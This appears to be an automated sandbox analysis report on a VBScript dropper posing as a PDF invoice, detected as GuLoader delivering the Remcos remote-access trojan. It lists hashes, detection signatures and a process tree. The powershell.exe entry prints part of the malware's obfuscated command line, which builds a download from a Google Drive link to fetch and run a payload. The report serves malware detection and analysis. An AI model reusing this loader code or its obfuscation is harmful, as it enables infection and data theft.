Edit tour
Windows
Analysis Report
FAKTURA-P-4526485-2742747722-00043067#U00b7pdf.vbs
Overview
General Information
| Sample name: | FAKTURA-P-4526485-2742747722-00043067#U00b7pdf.vbsrenamed because original name is a hash value |
| Original sample name: | FAKTURA-P-4526485-2742747722-00043067pdf.vbs |
| Analysis ID: | 1636426 |
| MD5: | bcc3425d021c26a5baf855502b0c609b |
| SHA1: | 0b01002803b807210127366afe4c9abff1fd62da |
| SHA256: | 6a2f42008025068bd6943e90e73f473de802e86f6fc5b33cc5958a5e28f9ec56 |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Potential evasive VBS script found (sleep loop)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 3940 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\FAKTU RA-P-45264 85-2742747 722-000430 67#U00b7pd f.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
PING.EXE (PID: 6408 cmdline: ping Host_ 6637.6637. 6637.657e MD5: 2F46799D79D22AC72C241EC0322B011D) 
conhost.exe (PID: 6428 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 6648 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Pos tejens; fu nction Sub rogate($pl ankevrks){ $Brandfare =4;do{$Hin dbrmarmela ders+=$pla nkevrks[$B randfare]; $Brandfare +=5;$Super function=F ormat-List } until(!$ plankevrks [$Brandfar e])$Hindbr marmelader s}function Elektrise ringers($S pegeskinke ns){ .($Ma jestternes ) ($Speges kinkens)}$ Staahjder2 11=Subroga te 'solfnF ornETroutB ech. samW' ;$Staahjde r211+=Subr ogate 'Uno ve ForByew sC entLUni nIMeriETra uNOrgaT';$ Datafil79= Subrogate 'EngiM Til oDe,azhac i a,vlhag, l oma.rdi/ ';$fireeta geshusenes =Subrogate 'FermT De slent sSpe c1Cond2';$ Valutasats ='Viab[Far rn.nine Tl T V n.Tvi sS Plae T. tRcin VTal li ndiCBes lePsykPSto oCaprILec hNA.sltD r iM K maSpi rNUnclaMel g.dseeBru drS,ov]Eva n:Comm:str asprece Di ac A tU di sR BekiFor sT Fo,y In tPIdeaRSli poFlytTRho doLedeC B. oo FejLAn u= ndh$Udl ifLiteIfi. kr Da E Tr ,E UndtM e wAS arGlat E uels er qhDydsuTil sSShreeLev enStevEEsp is';$Dataf il79+=Subr ogate 'Kla n5B ll. Un d0Ri g Af (rystWRegn iG ienAvan d tomo ede wmalps Noa OverNGali TBade Fora 1 Lym0Ne f .Afkr0mong ;Eris Cel WInq i Fal nKuns6T yr 4At,a;Trst S edx Bol 6M ll4Udsk ; Bu Laskr AfmnvLo g: Opg1 Sph3 Non4D ed. Befr0Ril,) Nabo Ind,G Uba,eRaimc ProskAgrao komf/ Age2 Std0Lode1 Ta.e0 Beg0 Valu1 nsa0 Ber1Fl l E oxFKa.ai Bo,irXenoe Pe afMarko BasixPou / Pha1Sa.t3 Fib 4For,. Fron0';$Ar chery=Subr ogate 'ton ,UReciSAd leRechR al g-SnakaP,e cGHeroEVen enclert';$ Reask=Subr ogate 'Min ihA sktMet atKontpPre fs Una:Tro f/Irid/U,k adSuprrSco miA ervKom peTilf.Bra ngGuldoSku doBal.g E, blAlg e di s.UnilcHal vo L tmsif f/circuRet rc Elf?Kry deIm.oxBeb opti soB n zr BovtSfi n=LabsdFlo do IrrwBil lnWi dl Ti lo VagaI o ad ndl&Fut uiH tbdeft e=felt1 wa 6Sup sDoom nbaksvIfre _,asm9 org 5Nonnwglds 0akvan .ic E.usy4 pig L HerR Ant QSubiiRami fNatubAlek dKrelrHrge Sb.sahServ uAdinJMahj PChi.1 ,ne XHubmqZare v FidVKnle yB.dvR';$B randfaremp older=Subr ogate 'Ste r>';$Majes tternes=Su brogate ' caI,apeeAn imx';$Pyro man='Myope ';$Frontal itetens='\ Fugtservie tter.Her'; Elektriser ingers (Su brogate 'S tig$ illgs till,azzOM esoBTrllAO hmal S.a: umsNeigTDe moy SuirFo r IBargnAn teG UbeSP hlaSubsF a rsdcitiEf. sklAngaISh anNIndrg C aERigen,q uisskan=Be gn$Fa oeOx dNPalaVCh iv:KommaTh ysPFlopp u ndDMacrABi rgTPhonaNo nr+Lned$Am fefantoRSu ppo GhanSk e tKr.gaou tsl ejrI n retMicrEPa p t.eske d a NSt ds') ;Elektrise ringers (S ubrogate ' Vild$HusmG TrinlVinro TherbGabbA AraulE it: EfteAOmorS S ffPIndtH SpdAFedeL Rest Rete LapaRW,id= Pe c$Refor Loxoe .onA Ansvs gnaK on.SoloSH amrpChaslF geitusktT ing(P.od$U nquB emorP esA Ax NR kodbre FP ostaFibrr SekE TjeML